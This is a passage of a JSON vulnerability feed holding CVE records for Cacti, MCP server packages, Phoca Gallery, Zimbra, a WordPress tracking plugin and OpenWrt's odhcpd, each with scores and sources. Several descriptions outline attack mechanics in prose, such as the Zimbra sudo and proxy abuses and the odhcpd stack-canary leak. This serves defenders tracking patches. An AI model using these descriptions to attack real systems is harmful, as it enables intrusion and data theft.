3.9.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T15:17:32.427Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54668","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00304,"percentile":0.22964,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-54668&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-54668","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54668","type":"primary","publishedAt":"2026-10-23T15:17:32.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-54668&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-54668, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-39902","cveId":"CVE-2026-39902","aliases":[],"kind":"vulnerability","title":"Cacti is an open source performance and fault management framework.","summary":"Cacti is an open source performance and fault management framework. Prior to version 1.2.31, the prior blocklist ([;&| `$\\\\n\\r]) omitted single-quote, double-quote, redirect operators, subshell parens and braces. An authenticated admin could save an input_string` containing single-quote, redirect operator, or subshell parens, and pass the check. This issue has been patched in version 1.2.31.","detail":"Cacti is an open source performance and fault management framework. Prior to version 1.2.31, the prior blocklist ([;&| `$\\\\n\\r]) omitted single-quote, double-quote, redirect operators, subshell parens and braces. An authenticated admin could save an input_string` containing single-quote, redirect operator, or subshell parens, and pass the check. This issue has been patched in version 1.2.31.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T15:17:30.873Z","updatedAt":"2026-10-23T19:36:32.410Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-39902","asOf":"2026-10-23T19:36:32.410Z"},"epss":{"probability":0.00403,"percentile":0.34232,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-39902&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-39902","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39902","type":"primary","publishedAt":"2026-10-23T15:17:30.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-39902&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-39902, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106765","cveId":"CVE-2026-106765","aliases":[],"kind":"vulnerability","title":"An issue in @rog0x/mcp-docker-tools 1.0.1 allows a remote attacker to execute arbitrary code via the handleImageList function.","summary":"An issue in @rog0x/mcp-docker-tools 1.0.1 allows a remote attacker to execute arbitrary code via the handleImageList function.","detail":"An issue in @rog0x/mcp-docker-tools 1.0.1 allows a remote attacker to execute arbitrary code via the handleImageList function.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T15:17:23.333Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106765","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00503,"percentile":0.42727,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106765&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106765","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106765","type":"primary","publishedAt":"2026-10-23T15:17:23.333Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106765&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106765, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106764","cveId":"CVE-2026-106764","aliases":[],"kind":"vulnerability","title":"An issue in @rog0x/mcp-git-tools 1.0.1 allows a remote attacker to execute arbitrary code via the resolveBaseBranch function.","summary":"An issue in @rog0x/mcp-git-tools 1.0.1 allows a remote attacker to execute arbitrary code via the resolveBaseBranch function.","detail":"An issue in @rog0x/mcp-git-tools 1.0.1 allows a remote attacker to execute arbitrary code via the resolveBaseBranch function.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T15:17:23.203Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106764","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00503,"percentile":0.42728,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106764&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106764","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106764","type":"primary","publishedAt":"2026-10-23T15:17:23.203Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106764&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106764, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106763","cveId":"CVE-2026-106763","aliases":[],"kind":"vulnerability","title":"An issue in @justice8096/sagemath-mcp-server 1.0.1 allows a remote attacker to execute arbitrary code via the escapeShellString and sanitizeCode functions.","summary":"An issue in @justice8096/sagemath-mcp-server 1.0.1 allows a remote attacker to execute arbitrary code via the escapeShellString and sanitizeCode functions.","detail":"An issue in @justice8096/sagemath-mcp-server 1.0.1 allows a remote attacker to execute arbitrary code via the escapeShellString and sanitizeCode functions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T15:17:23.063Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106763","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00503,"percentile":0.42727,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106763&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106763","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106763","type":"primary","publishedAt":"2026-10-23T15:17:23.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106763&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106763, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102786","cveId":"CVE-2026-102786","aliases":[],"kind":"vulnerability","title":"Joomla Extension - phoca.cz - Authenticated stored cross-site scripting through HTML attribute injection in Phoca Gallery 4.5.0 - 6.1.5","summary":"Joomla Extension - phoca.cz - Authenticated stored cross-site scripting through HTML attribute injection in Phoca Gallery 4.5.0 - 6.1.5","detail":"Joomla Extension - phoca.cz - Authenticated stored cross-site scripting through HTML attribute injection in Phoca Gallery 4.5.0 - 6.1.5\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T15:17:22.807Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Joomla"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102786","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00262,"percentile":0.17832,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102786&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102786","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102786","type":"primary","publishedAt":"2026-10-23T15:17:22.807Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102786&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102786, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93640","cveId":"CVE-2026-93640","aliases":[],"kind":"vulnerability","title":"A local privilege escalation vulnerability in the optional dnscache package of Zimbra Collaboration Suite (ZCS) allows the Unix zimbra account to access files with root privileges.","summary":"A local privilege escalation vulnerability in the optional dnscache package of Zimbra Collaboration Suite (ZCS) allows the Unix zimbra account to access files with root privileges. The passwordless sudo policy permits arbitrary arguments to zmunbound, whose wrapper forwards them to Unbound without restricting the configuration path. An attacker can supply a configuration that retains root privileges and disables the chroot. Include directives expose root-readable file contents through parser errors, while an attacker-selected logfile path creates a root-owned file or appends Unbound log records to an existing file. This can disclose password hashes and private keys and corrupt privileged configuration files, preventing affected services from starting with the modified configuration. The affected configuration is present in ZCS 10.1.16 and 10.1.21 dnscache packages.","detail":"A local privilege escalation vulnerability in the optional dnscache package of Zimbra Collaboration Suite (ZCS) allows the Unix zimbra account to access files with root privileges. The passwordless sudo policy permits arbitrary arguments to zmunbound, whose wrapper forwards them to Unbound without restricting the configuration path. An attacker can supply a configuration that retains root privileges and disables the chroot. Include directives expose root-readable file contents through parser errors, while an attacker-selected logfile path creates a root-owned file or appends Unbound log records to an existing file. This can disclose password hashes and private keys and corrupt privileged configuration files, preventing affected services from starting with the modified configuration. The affected configuration is present in ZCS 10.1.16 and 10.1.21 dnscache packages.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:57.757Z","updatedAt":"2026-10-24T04:18:27.440Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Zimbra"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93640","asOf":"2026-10-24T04:18:27.440Z"},"epss":{"probability":0.00124,"percentile":0.02098,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93640&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93640","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93640","type":"primary","publishedAt":"2026-10-23T14:17:57.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93640&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93640, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93639","cveId":"CVE-2026-93639","aliases":[],"kind":"vulnerability","title":"A missing authorization vulnerability in Zimbra Collaboration Suite (ZCS) allows a delegated administrator with no explicit administrative grants to overwrite global Zimlet...","summary":"A missing authorization vulnerability in Zimbra Collaboration Suite (ZCS) allows a delegated administrator with no explicit administrative grants to overwrite global Zimlet configuration through ConfigureZimletRequest. The uploaded configuration can also add an attacker-controlled domain to the proxy allowlist of the default class of service. If a signed-in user in that class opens a crafted /service/proxy URL, Zimbra serves attacker-controlled HTML under its own origin. The resulting JavaScript can read mailbox data and perform authenticated actions as the victim. Exploitation requires a delegated-administrator account and access to the admin SOAP service; the browser compromise additionally requires the victim to open the crafted URL. ZCS 10.1.16 and 10.1.20 are affected.","detail":"A missing authorization vulnerability in Zimbra Collaboration Suite (ZCS) allows a delegated administrator with no explicit administrative grants to overwrite global Zimlet configuration through ConfigureZimletRequest. The uploaded configuration can also add an attacker-controlled domain to the proxy allowlist of the default class of service. If a signed-in user in that class opens a crafted /service/proxy URL, Zimbra serves attacker-controlled HTML under its own origin. The resulting JavaScript can read mailbox data and perform authenticated actions as the victim. Exploitation requires a delegated-administrator account and access to the admin SOAP service; the browser compromise additionally requires the victim to open the crafted URL. ZCS 10.1.16 and 10.1.20 are affected.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:57.640Z","updatedAt":"2026-10-23T16:44:17.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Zimbra"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93639","asOf":"2026-10-23T16:44:17.950Z"},"epss":{"probability":0.00375,"percentile":0.31189,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93639&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93639","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93639","type":"primary","publishedAt":"2026-10-23T14:17:57.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93639&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93639, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93631","cveId":"CVE-2026-93631","aliases":[],"kind":"vulnerability","title":"A cross-site request forgery vulnerability in the OAuth extension of Zimbra Collaboration Suite (ZCS) Network Edition allows an attacker to link an attacker-controlled external...","summary":"A cross-site request forgery vulnerability in the OAuth extension of Zimbra Collaboration Suite (ZCS) Network Edition allows an attacker to link an attacker-controlled external account to a victim's mailbox. The OAuth callback does not bind its state value or authorization code to the initiating Zimbra session and instead selects the destination mailbox from the browser's current authentication cookie. On a deployment with the provider configured, an attacker can induce a signed-in victim to load a callback containing a fresh code for the attacker's provider account. This creates a persistent data source that imports attacker-controlled contacts or events. With bidirectional CalDAV synchronization, appointments subsequently created or edited in the linked calendar are also disclosed to the attacker. ZCS 10.1.16 and 10.1.20 are affected.","detail":"A cross-site request forgery vulnerability in the OAuth extension of Zimbra Collaboration Suite (ZCS) Network Edition allows an attacker to link an attacker-controlled external account to a victim's mailbox. The OAuth callback does not bind its state value or authorization code to the initiating Zimbra session and instead selects the destination mailbox from the browser's current authentication cookie. On a deployment with the provider configured, an attacker can induce a signed-in victim to load a callback containing a fresh code for the attacker's provider account. This creates a persistent data source that imports attacker-controlled contacts or events. With bidirectional CalDAV synchronization, appointments subsequently created or edited in the linked calendar are also disclosed to the attacker. ZCS 10.1.16 and 10.1.20 are affected.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:57.023Z","updatedAt":"2026-10-23T16:44:17.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Zimbra"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93631","asOf":"2026-10-23T16:44:17.950Z"},"epss":{"probability":0.00144,"percentile":0.03676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93631&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93631","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93631","type":"primary","publishedAt":"2026-10-23T14:17:57.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93631&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93631, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55826","cveId":"CVE-2026-55826","aliases":[],"kind":"vulnerability","title":"The GTM Server Side plugin by stape.io implements server-side tracking on WordPress websites.","summary":"The GTM Server Side plugin by stape.io implements server-side tracking on WordPress websites. From version 2.0.0 to before version 2.1.48, the WooCommerce purchase event tracking mechanism allows an unauthenticated attacker to trigger the rendering of another customer's full order data — including personally identifiable information (PII) — into the page's JavaScript dataLayer. This issue has been patched in version 2.1.48.","detail":"The GTM Server Side plugin by stape.io implements server-side tracking on WordPress websites. From version 2.0.0 to before version 2.1.48, the WooCommerce purchase event tracking mechanism allows an unauthenticated attacker to trigger the rendering of another customer's full order data — including personally identifiable information (PII) — into the page's JavaScript dataLayer. This issue has been patched in version 2.1.48.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:54.017Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55826","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00337,"percentile":0.26865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55826&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55826","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55826","type":"primary","publishedAt":"2026-10-23T14:17:54.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55826&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55826, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53920","cveId":"CVE-2026-53920","aliases":[],"kind":"vulnerability","title":"odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt.","summary":"odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. From version 17.01.0 to before version 25.12.3, odhcpd's DHCPv6 IA parser accepts an IA_NA or IA_PD option whose body is shorter than struct dhcpv6_ia_hdr, casts the option header to that full structure, and reads ia->iaid before proving that the IA body contains the IAID field. If an unauthenticated network-adjacent client places a zero-length or otherwise short IA option at the end of odhcpd's 8192-byte receive stack buffer, the IAID read crosses from data_buf into adjacent stack memory. The disclosed bytes are then reflected in the DHCPv6 reply IAID; prior ARM validation showed data_buf[8192:8196] disclosing the saved stack canary, and wider stack scans can leak ASLR-useful stack/process contents. This issue has been patched in version 25.12.3.","detail":"odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. From version 17.01.0 to before version 25.12.3, odhcpd's DHCPv6 IA parser accepts an IA_NA or IA_PD option whose body is shorter than struct dhcpv6_ia_hdr, casts the option header to that full structure, and reads ia->iaid before proving that the IA body contains the IAID field. If an unauthenticated network-adjacent client places a zero-length or otherwise short IA option at the end of odhcpd's 8192-byte receive stack buffer, the IAID read crosses from data_buf into adjacent stack memory. The disclosed bytes are then reflected in the DHCPv6 reply IAID; prior ARM validation showed data_buf[8192:8196] disclosing the saved stack canary, and wider stack scans can leak ASLR-useful stack/process contents. This issue has been patched in version 25.12.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 